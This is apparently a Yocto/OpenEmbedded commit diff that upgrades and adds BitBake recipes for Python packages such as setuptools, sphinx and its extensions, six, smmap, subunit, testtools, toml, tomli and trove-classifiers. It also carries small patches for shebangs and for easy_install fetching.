+From 80fe63816eb3bfd1f5b6d354e1f2442805cff4e0 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 17 Jul 2018 10:13:38 +0800
Subject: [PATCH] conditionally do not fetch code by easy_install
@@ -14,11 +14,11 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 5 insertions(+)
diff --git a/setuptools/command/easy_install.py b/setuptools/command/easy_install.py
-index bcbd4f58..6455afda 100644
+index 858fb20..62bd853 100644
--- a/setuptools/command/easy_install.py
+++ b/setuptools/command/easy_install.py
-@@ -653,6 +653,11 @@ class easy_install(Command):
- os.path.exists(tmpdir) and rmtree(rmtree_safe(tmpdir))
+@@ -672,6 +672,11 @@ class easy_install(Command):
+ os.path.exists(tmpdir) and _rmtree(tmpdir)
def easy_install(self, spec, deps=False):
+ if os.environ.get('NO_FETCH_BUILD', None):
@@ -29,6 +29,3 @@ index bcbd4f58..6455afda 100644
with self._tmpdir() as tmpdir:
if not isinstance(spec, Requirement):
if URL_SCHEME(spec):
---
-2.25.1
-
diff --git a/meta/recipes-devtools/python/python3-setuptools_49.2.1.bb b/meta/recipes-devtools/python/python3-setuptools_49.2.1.bb
deleted file mode 100644
index 53a121db11..0000000000
--- a/meta/recipes-devtools/python/python3-setuptools_49.2.1.bb
+++ /dev/null
@@ -1,65 +0,0 @@
-SUMMARY = "Download, build, install, upgrade, and uninstall Python packages"
-HOMEPAGE = "https://pypi.org/project/setuptools"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;beginline=1;endline=19;md5=9a33897f1bca1160d7aad3835152e158"
-
-PYPI_PACKAGE_EXT = "zip"
-
-inherit pypi setuptools3
-
-SRC_URI_append_class-native = " file://0001-conditionally-do-not-fetch-code-by-easy_install.patch"
-
-SRC_URI += "file://0001-change-shebang-to-python3.patch"
-
-SRC_URI[sha256sum] = "88094d17c8d273390659a72e9d93374cd7bfd188c12bf2747b306e2bed48df18"
-
-DEPENDS += "${PYTHON_PN}"
-
-RDEPENDS_${PN} = "\
- ${PYTHON_PN}-2to3 \
- ${PYTHON_PN}-compile \
- ${PYTHON_PN}-compression \
- ${PYTHON_PN}-ctypes \
- ${PYTHON_PN}-distutils \
- ${PYTHON_PN}-email \
- ${PYTHON_PN}-html \
- ${PYTHON_PN}-json \
- ${PYTHON_PN}-netserver \
- ${PYTHON_PN}-numbers \
- ${PYTHON_PN}-pickle \
- ${PYTHON_PN}-pkgutil \
- ${PYTHON_PN}-plistlib \
- ${PYTHON_PN}-shell \
- ${PYTHON_PN}-stringold \
- ${PYTHON_PN}-threading \
- ${PYTHON_PN}-unittest \
- ${PYTHON_PN}-xml \
-"
-
-do_install_prepend() {
- install -d ${D}${PYTHON_SITEPACKAGES_DIR}
-}
-
-do_install_append() {
- mv ${D}${bindir}/easy_install ${D}${bindir}/easy3_install
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
-# The pkg-resources module can be used by itself, without the package downloader
-# and easy_install. Ship it in a separate package so that it can be used by
-# minimal distributions.
-PACKAGES =+ "${PYTHON_PN}-pkg-resources "
-FILES_${PYTHON_PN}-pkg-resources = "${PYTHON_SITEPACKAGES_DIR}/pkg_resources/*"
-RDEPENDS_${PYTHON_PN}-pkg-resources = "\
- ${PYTHON_PN}-compression \
- ${PYTHON_PN}-email \
- ${PYTHON_PN}-plistlib \
- ${PYTHON_PN}-pprint \
-"
-# Due to the way OE-Core implemented native recipes, the native class cannot
-# have a dependency on something that is not a recipe name. Work around that by
-# manually setting RPROVIDES.
-RDEPENDS_${PN}_append = " ${PYTHON_PN}-pkg-resources"
-RPROVIDES_append_class-native = " ${PYTHON_PN}-pkg-resources-native"
diff --git a/meta/recipes-devtools/python/python3-setuptools_69.2.0.bb b/meta/recipes-devtools/python/python3-setuptools_69.2.0.bb
new file mode 100644
index 0000000000..897398afc5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools_69.2.0.bb
@@ -0,0 +1,55 @@
+SUMMARY = "Download, build, install, upgrade, and uninstall Python packages"
+HOMEPAGE = "https://pypi.org/project/setuptools"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=141643e11c48898150daa83802dbc65f"
+
+inherit pypi python_setuptools_build_meta
+
+SRC_URI:append:class-native = " file://0001-conditionally-do-not-fetch-code-by-easy_install.patch"
+
+SRC_URI += " \
+ file://0001-_distutils-sysconfig.py-make-it-possible-to-substite.patch"
+
+SRC_URI[sha256sum] = "0ff4183f8f42cd8fa3acea16c45205521a4ef28f73c6391d8a25e92893134f2e"
+
+DEPENDS += "python3"
+
+RDEPENDS:${PN} = "\
+ python3-2to3 \
+ python3-compile \
+ python3-compression \
+ python3-ctypes \
+ python3-email \
+ python3-html \
+ python3-json \
+ python3-netserver \
+ python3-numbers \
+ python3-pickle \
+ python3-pkg-resources \
+ python3-pkgutil \
+ python3-plistlib \
+ python3-shell \
+ python3-stringold \
+ python3-threading \
+ python3-unittest \
+ python3-xml \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# The pkg-resources module can be used by itself, without the package downloader
+# and easy_install. Ship it in a separate package so that it can be used by
+# minimal distributions.
+PACKAGES =+ "python3-pkg-resources "
+FILES:python3-pkg-resources = "${PYTHON_SITEPACKAGES_DIR}/pkg_resources/*"
+RDEPENDS:python3-pkg-resources = "\
+ python3-compression \
+ python3-email \
+ python3-plistlib \
+ python3-pprint \
+"
+
+# This used to use the bootstrap install which didn't compile. Until we bump the
+# tmpdir version we can't compile the native otherwise the sysroot unpack fails
+INSTALL_WHEEL_COMPILE_BYTECODE:class-native = "--no-compile-bytecode"
diff --git a/meta/recipes-devtools/python/python3-six_1.15.0.bb b/meta/recipes-devtools/python/python3-six_1.15.0.bb
deleted file mode 100644
index 6c6f3f9629..0000000000
--- a/meta/recipes-devtools/python/python3-six_1.15.0.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-inherit setuptools3
-require python-six.inc
-
-SRC_URI[md5sum] = "9f90a0eaa0ea7747fda01ca79d21ebcb"
-SRC_URI[sha256sum] = "30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"
diff --git a/meta/recipes-devtools/python/python3-six_1.16.0.bb b/meta/recipes-devtools/python/python3-six_1.16.0.bb
new file mode 100644
index 0000000000..1ba48d4f47
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-six_1.16.0.bb
@@ -0,0 +1,4 @@
+inherit setuptools3
+require python-six.inc
+
+SRC_URI[sha256sum] = "1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"
diff --git a/meta/recipes-devtools/python/python3-smartypants/0001-Change-hash-bang-to-python3.patch b/meta/recipes-devtools/python/python3-smartypants/0001-Change-hash-bang-to-python3.patch
new file mode 100644
index 0000000000..aab16eaab4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-smartypants/0001-Change-hash-bang-to-python3.patch
@@ -0,0 +1,47 @@
+From e299bcb05405ff49450307bf3002c1fac14a866c Mon Sep 17 00:00:00 2001
+From: Tim Orling <tim.orling@konsulko.com>
+Date: Sun, 20 Feb 2022 18:55:50 -0800
+Subject: [PATCH] Change hash bang to python3
+
+In setup.py, smartypants and smartypants.py set hash bang to python3.
+
+Upstream-Status: Inappropriate [oe-core specific]
+
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+
+---
+ setup.py | 2 +-
+ smartypants | 2 +-
+ smartypants.py | 2 +-
+ 3 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index ff1ea76..96a8b73 100755
+--- a/setup.py
++++ b/setup.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # Copyright (C) 2013, 2014 by Yu-Jie Lin
+ # For detail license information, See COPYING
+
+diff --git a/smartypants b/smartypants
+index 189adf5..0cca568 100755
+--- a/smartypants
++++ b/smartypants
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # Copyright (c) 2013, 2014 Yu-Jie Lin
+ # Licensed under the BSD License, for detailed license information, see COPYING
+
+diff --git a/smartypants.py b/smartypants.py
+index a70575b..e53bd87 100755
+--- a/smartypants.py
++++ b/smartypants.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+ # Copyright (c) 2013, 2014, 2016 Yu-Jie Lin
+ # Copyright (c) 2004, 2005, 2007, 2013 Chad Miller
diff --git a/meta/recipes-devtools/python/python3-smartypants_2.0.0.bb b/meta/recipes-devtools/python/python3-smartypants_2.0.0.bb
new file mode 100644
index 0000000000..d089a89b95
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-smartypants_2.0.0.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Translator of plain ASCII punctuation characters into 'smart' typographic punctuation HTML entities"
+HOMEPAGE = "https://pythonhosted.org/smartypants/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=977036977591ac666c728921ecc54c4f"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "smartypants"
+SRC_URI += "file://0001-Change-hash-bang-to-python3.patch"
+SRC_URI[sha256sum] = "7812353a32022699a1aa8cd5626e01c94a946dcaeedaee2d0b382bae4c4cbf36"
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_REGEX = "/${PYPI_PACKAGE}/(?P<pver>(?!2\.0\.1)(\d+[\.\-_]*)+)/"
diff --git a/meta/recipes-devtools/python/python3-smmap_3.0.4.bb b/meta/recipes-devtools/python/python3-smmap_3.0.4.bb
deleted file mode 100644
index 5f0f341d6a..0000000000
--- a/meta/recipes-devtools/python/python3-smmap_3.0.4.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-inherit setuptools3
-require python-smmap.inc
-
diff --git a/meta/recipes-devtools/python/python3-smmap_6.0.0.bb b/meta/recipes-devtools/python/python3-smmap_6.0.0.bb
new file mode 100644
index 0000000000..6abed1205f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-smmap_6.0.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Python implementation of a sliding window memory map manager"
+DESCRIPTION = "A pure Python implementation of a sliding memory map to \
+help unifying memory mapped access on 32 and 64 bit systems and to help \
+managing resources more efficiently."
+HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=e910b35b0ef4e1f665b9a75d6afb7709"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "smmap"
+
+SRC_URI[sha256sum] = "8d79028ea6cc131da5eab099a5d95a998d43c6779956fffe3b455040911076da"
+
+RDEPENDS:${PN} += "python3-codecs \
+ python3-mmap \
+"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-snowballstemmer_2.2.0.bb b/meta/recipes-devtools/python/python3-snowballstemmer_2.2.0.bb
new file mode 100644
index 0000000000..ff120a3fc4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-snowballstemmer_2.2.0.bb
@@ -0,0 +1,13 @@
+SUMMARY = "Snowball compiler and stemming algorithms"
+HOMEPAGE = "https://github.com/snowballstem/snowball"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=19139aaf3c8c8fa1ca6edd59c072fb9f"
+
+SRC_URI[sha256sum] = "09b16deb8547d3412ad7b590689584cd0fe25ec8db3be37788be3810cbf19cb1"
+
+PYPI_PACKAGE = "snowballstemmer"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb b/meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb
new file mode 100644
index 0000000000..0755d3e177
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb
@@ -0,0 +1,9 @@
+SUMMARY = "Sorted Containers is an Apache2 licensed sorted collections library, written in pure-Python, and fast as C-extensions."
+HOMEPAGE = "http://www.grantjenks.com/docs/sortedcontainers/"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=7c7c6a1a12ec816da16c1839137d53ae"
+
+inherit pypi setuptools3
+SRC_URI[sha256sum] = "25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-spdx-tools_0.8.2.bb b/meta/recipes-devtools/python/python3-spdx-tools_0.8.2.bb
new file mode 100644
index 0000000000..53263ca032
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-spdx-tools_0.8.2.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Python tool to parse, validate and convert spdx files"
+HOMEPAGE = "https://github.com/spdx/tools-python"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=dc7f21ccff0f672f2a7cd6f412ae627d"
+
+SRC_URI[sha256sum] = "aea4ac9c2c375e7f439b1cef5ff32ef34914c083de0f61e08ed67cd3d9deb2a9"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit setuptools3 pypi
+
+# Dependency required for pyspdxtools : python3-click
+# Dependencies required for conversion to spdx3 : python3-semantic-version, python3-ply
+RDEPENDS:${PN} += "\
+ python3-core \
+ python3-beartype \
+ python3-click \
+ python3-datetime \
+ python3-json \
+ python3-license-expression \
+ python3-ply \
+ python3-pyyaml \
+ python3-rdflib \
+ python3-semantic-version \
+ python3-uritools \
+ python3-xmltodict \
+ "
diff --git a/meta/recipes-devtools/python/python3-sphinx-rtd-theme_2.0.0.bb b/meta/recipes-devtools/python/python3-sphinx-rtd-theme_2.0.0.bb
new file mode 100644
index 0000000000..22b4d96444
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sphinx-rtd-theme_2.0.0.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Sphinx Theme reader"
+HOMEPAGE = "https://github.com/readthedocs/sphinx_rtd_theme"
+SECTION = "devel/python"
+LICENSE = "MIT & OFL-1.1"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a1db7d4ef426c2935227264e1d4ae8f9 \
+ file://OFL-License.txt;md5=4534c22e0147eadb6828bd9fe86d4868 \
+ file://Apache-License-2.0.txt;md5=8a75796f0ef19c3f601d69857f5a9a5b"
+
+RDEPENDS:${PN} += " \
+ python3-compile \
+ python3-sphinx \
+ python3-sphinxcontrib-jquery \
+"
+
+PYPI_PACKAGE = "sphinx_rtd_theme"
+
+SRC_URI[sha256sum] = "bd5d7b80622406762073a04ef8fadc5f9151261563d47027de09910ce03afe6b"
+UPSTREAM_CHECK_REGEX ?= "/sphinx-rtd-theme/(?P<pver>(\d+[\.\-_]*)+)/"
+
+inherit setuptools3 pypi
+
+#Fake out the setup scipt
+export CI = "True"
+export TOX_ENV_NAME = "True"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sphinx_7.2.6.bb b/meta/recipes-devtools/python/python3-sphinx_7.2.6.bb
new file mode 100644
index 0000000000..f4ed0720ff
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sphinx_7.2.6.bb
@@ -0,0 +1,35 @@
+SUMMARY = "Python documentation generator"
+HOMEPAGE = "http://sphinx-doc.org/"
+SECTION = "devel/python"
+LICENSE = "BSD-2-Clause & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5eb6ac1b115a1ed24a12d9f15b633993"
+
+SRC_URI[sha256sum] = "9a5160e1ea90688d5963ba09a2dcd8bdd526620edbb65c328728f1b2228d5ab5"
+
+inherit python_flit_core pypi
+UPSTREAM_CHECK_REGEX = "/Sphinx/(?P<pver>(\d+[\.\-_]*)+)/"
+
+do_install:append () {
+ # The cache format of "{None, 'en', 'ja'}" doesn't seem to be consistent (dict ordering?)
+ rm ${D}${libdir}/${PYTHON_DIR}/site-packages/sphinx/writers/__pycache__/*latex*
+}
+
+RDEPENDS:${PN} = "\
+ python3-alabaster \
+ python3-babel \
+ python3-docutils \
+ python3-imagesize \
+ python3-jinja2 \
+ python3-packaging \
+ python3-pygments \
+ python3-requests \
+ python3-snowballstemmer \
+ python3-sphinxcontrib-applehelp \
+ python3-sphinxcontrib-devhelp \
+ python3-sphinxcontrib-htmlhelp \
+ python3-sphinxcontrib-jsmath \
+ python3-sphinxcontrib-qthelp \
+ python3-sphinxcontrib-serializinghtml \
+ "
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sphinxcontrib-applehelp_1.0.8.bb b/meta/recipes-devtools/python/python3-sphinxcontrib-applehelp_1.0.8.bb
new file mode 100644
index 0000000000..67dd299b72
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sphinxcontrib-applehelp_1.0.8.bb
@@ -0,0 +1,12 @@
+SUMMARY = "sphinxcontrib-applehelp is a sphinx extension which outputs Apple help books"
+HOMEPAGE = "https://www.sphinx-doc.org"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c7715857042d4c8c0105999ca0c072c5"
+
+SRC_URI[sha256sum] = "c40a4f96f3776c4393d933412053962fac2b84f4c99a7982ba42e09576a70619"
+
+PYPI_PACKAGE = "sphinxcontrib_applehelp"
+
+inherit pypi python_flit_core
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sphinxcontrib-devhelp_1.0.6.bb b/meta/recipes-devtools/python/python3-sphinxcontrib-devhelp_1.0.6.bb
new file mode 100644
index 0000000000..31f77a0a14
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sphinxcontrib-devhelp_1.0.6.bb
@@ -0,0 +1,12 @@
+SUMMARY = "sphinxcontrib-devhelp is a sphinx extension which outputs Devhelp document."
+HOMEPAGE = "https://www.sphinx-doc.org"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=fd30d9972a142c857a80c9f312e92b93"
+
+SRC_URI[sha256sum] = "9893fd3f90506bc4b97bdb977ceb8fbd823989f4316b28c3841ec128544372d3"
+
+PYPI_PACKAGE = "sphinxcontrib_devhelp"
+
+inherit pypi python_flit_core
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sphinxcontrib-htmlhelp_2.0.5.bb b/meta/recipes-devtools/python/python3-sphinxcontrib-htmlhelp_2.0.5.bb
new file mode 100644
index 0000000000..e30c61c398
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sphinxcontrib-htmlhelp_2.0.5.bb
@@ -0,0 +1,12 @@
+SUMMARY = "sphinxcontrib-htmlhelp is a sphinx extension which renders HTML help files"
+HOMEPAGE = "https://www.sphinx-doc.org"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=24dce5ef6a13563241c24bc366f48886"
+
+SRC_URI[sha256sum] = "0dc87637d5de53dd5eec3a6a01753b1ccf99494bd756aafecd74b4fa9e729015"
+
+PYPI_PACKAGE = "sphinxcontrib_htmlhelp"
+
+inherit pypi python_flit_core
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sphinxcontrib-jquery_4.1.bb b/meta/recipes-devtools/python/python3-sphinxcontrib-jquery_4.1.bb
new file mode 100644
index 0000000000..5f915663c2
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sphinxcontrib-jquery_4.1.bb
@@ -0,0 +1,12 @@
+SUMMARY = "Extension to include jQuery on newer Sphinx releases"
+HOMEPAGE = "https://pypi.org/project/sphinxcontrib-jquery/"
+LICENSE = "0BSD"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=926e8b7e89e3ebb2a2d1dfaf0873f241"
+
+SRC_URI[sha256sum] = "1620739f04e36a2c779f1a131a2dfd49b2fd07351bf1968ced074365933abc7a"
+
+PYPI_PACKAGE = "sphinxcontrib-jquery"
+
+inherit pypi python_flit_core
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sphinxcontrib-jsmath_1.0.1.bb b/meta/recipes-devtools/python/python3-sphinxcontrib-jsmath_1.0.1.bb
new file mode 100644
index 0000000000..7c11cfeec5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sphinxcontrib-jsmath_1.0.1.bb
@@ -0,0 +1,12 @@
+SUMMARY = "A sphinx extension which renders display math in HTML via JavaScript"
+HOMEPAGE = "https://www.sphinx-doc.org"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f0064c10bd544bcffccbc67a41c108d3"
+
+SRC_URI[sha256sum] = "a9925e4a4587247ed2191a22df5f6970656cb8ca2bd6284309578f2153e0c4b8"
+
+PYPI_PACKAGE = "sphinxcontrib-jsmath"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sphinxcontrib-qthelp_1.0.7.bb b/meta/recipes-devtools/python/python3-sphinxcontrib-qthelp_1.0.7.bb
new file mode 100644
index 0000000000..2225ec521e
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sphinxcontrib-qthelp_1.0.7.bb
@@ -0,0 +1,12 @@
+SUMMARY = "Is a sphinx extension which outputs QtHelp document."
+HOMEPAGE = "http://babel.edgewall.org/"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f7a83b72ea86d04827575ec0b63430eb"
+
+SRC_URI[sha256sum] = "053dedc38823a80a7209a80860b16b722e9e0209e32fea98c90e4e6624588ed6"
+
+PYPI_PACKAGE = "sphinxcontrib_qthelp"
+
+inherit pypi python_flit_core
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sphinxcontrib-serializinghtml_1.1.10.bb b/meta/recipes-devtools/python/python3-sphinxcontrib-serializinghtml_1.1.10.bb
new file mode 100644
index 0000000000..49be5200f0
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sphinxcontrib-serializinghtml_1.1.10.bb
@@ -0,0 +1,12 @@
+SUMMARY = 'sphinxcontrib-serializinghtml is a sphinx extension which outputs "serialized" HTML files (json and pickle).'
+HOMEPAGE = "https://www.sphinx-doc.org"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=32a84ac5cd3bbd10c4d479233ad588b6"
+
+SRC_URI[sha256sum] = "93f3f5dc458b91b192fe10c397e324f262cf163d79f3282c158e8436a2c4511f"
+
+PYPI_PACKAGE = "sphinxcontrib_serializinghtml"
+
+inherit pypi python_flit_core
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-subunit_1.4.0.bb b/meta/recipes-devtools/python/python3-subunit_1.4.0.bb
deleted file mode 100644
index 55066e2d0f..0000000000
--- a/meta/recipes-devtools/python/python3-subunit_1.4.0.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-inherit setuptools3
-require python-subunit.inc
-
-RDEPENDS_${PN} = " python3-testtools"
diff --git a/meta/recipes-devtools/python/python3-subunit_1.4.4.bb b/meta/recipes-devtools/python/python3-subunit_1.4.4.bb
new file mode 100644
index 0000000000..11be10bab6
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-subunit_1.4.4.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Python implementation of subunit test streaming protocol"
+HOMEPAGE = "https://pypi.org/project/python-subunit/"
+SECTION = "devel/python"
+LICENSE = "Apache-2.0 | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;beginline=1;endline=20;md5=b1121e68d06c8d9ea544fcd895df0d39"
+
+PYPI_PACKAGE = "python-subunit"
+
+SRC_URI[sha256sum] = "1079363131aa1d3f45259237265bc2e61a77e35f20edfb6e3d1d2558a2cdea34"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} = " python3-testtools python3-iso8601"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/python/python3-testtools/no_traceback2.patch b/meta/recipes-devtools/python/python3-testtools/no_traceback2.patch
deleted file mode 100644
index 594510342b..0000000000
--- a/meta/recipes-devtools/python/python3-testtools/no_traceback2.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-traceback2 adds traceback for python2. Rather than depend on traceback2, we're
-python3 only so just use traceback.
-This caused breakage in oe-selftest -j which uses testtools on the autobuilder
-using buildtools-tarball.
-
-Upstream-Status: Inappropriate [Our recipe is python3 specific]
-(Once py2 is EOL upstream probably could/should take this)
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Index: testtools-2.3.0/testtools/content.py
-===================================================================
---- testtools-2.3.0.orig/testtools/content.py
-+++ testtools-2.3.0/testtools/content.py
-@@ -19,8 +19,7 @@ import os
- import sys
-
- from extras import try_import
--# To let setup.py work, make this a conditional import.
--traceback = try_import('traceback2')
-+import traceback
-
- from testtools.compat import (
- _b,
diff --git a/meta/recipes-devtools/python/python3-testtools_2.4.0.bb b/meta/recipes-devtools/python/python3-testtools_2.4.0.bb
deleted file mode 100644
index a254b90a75..0000000000
--- a/meta/recipes-devtools/python/python3-testtools_2.4.0.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-inherit setuptools3
-require python-testtools.inc
-
-SRC_URI += "file://no_traceback2.patch"
diff --git a/meta/recipes-devtools/python/python3-testtools_2.7.1.bb b/meta/recipes-devtools/python/python3-testtools_2.7.1.bb
new file mode 100644
index 0000000000..cc7e055632
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-testtools_2.7.1.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Extensions to the Python standard library unit testing framework"
+HOMEPAGE = "https://pypi.org/project/testtools/"
+SECTION = "devel/python"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e2c9d3e8ba7141c83bfef190e0b9379a"
+
+DEPENDS += "python3-hatch-vcs-native"
+
+inherit pypi python_hatchling
+
+SRC_URI[sha256sum] = "df6de96010e29ee21f637a147eabf30d50b25e3841dd1d68f93ee89ce77e366c"
+
+RDEPENDS:${PN} += "\
+ python3-doctest \
+ python3-extras \
+ python3-six \
+ "
+
+BBCLASSEXTEND = "nativesdk"
+
diff --git a/meta/recipes-devtools/python/python3-toml_0.10.2.bb b/meta/recipes-devtools/python/python3-toml_0.10.2.bb
new file mode 100644
index 0000000000..649464b961
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-toml_0.10.2.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Python Library for Tom's Obvious, Minimal Language"
+HOMEPAGE = "https://github.com/uiri/toml"
+LICENSE = "MIT"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=16c77b2b1050d2f03cb9c2ed0edaf4f0"
+
+SRC_URI[sha256sum] = "b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += " \
+ python3-misc \
+"
diff --git a/meta/recipes-devtools/python/python3-tomli_2.0.1.bb b/meta/recipes-devtools/python/python3-tomli_2.0.1.bb
new file mode 100644
index 0000000000..9401ed897f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-tomli_2.0.1.bb
@@ -0,0 +1,18 @@
+SUMMARY = "A lil' TOML parser"
+DESCRIPTION = "Tomli is a Python library for parsing TOML. Tomli is fully \
+compatible with TOML v1.0.0."
+HOMEPAGE = "https://github.com/hukkin/tomli"
+BUGTRACKER = "https://github.com/hukkin/tomli/issues"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=aaaaf0879d17df0110d1aa8c8c9f46f5"
+
+inherit pypi python_flit_core
+
+SRC_URI[sha256sum] = "de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += " \
+ python3-datetime \
+ python3-stringold \
+"
diff --git a/meta/recipes-devtools/python/python3-trove-classifiers/run-ptest b/meta/recipes-devtools/python/python3-trove-classifiers/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-trove-classifiers/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-trove-classifiers_2024.3.3.bb b/meta/recipes-devtools/python/python3-trove-classifiers_2024.3.3.bb
new file mode 100644
index 0000000000..b912efcf55
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-trove-classifiers_2024.3.3.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Canonical source for classifiers on PyPI (pypi.org)."
+HOMEPAGE = "https://github.com/pypa/trove-classifiers"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
+
+SRC_URI[sha256sum] = "df7edff9c67ff86b733628998330b180e81d125b1e096536d83ac0fd79673fdc"
+
+inherit pypi python_setuptools_build_meta ptest
+
+DEPENDS += " python3-calver-native"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+BBCLASSEXTEND = "native nativesdk"
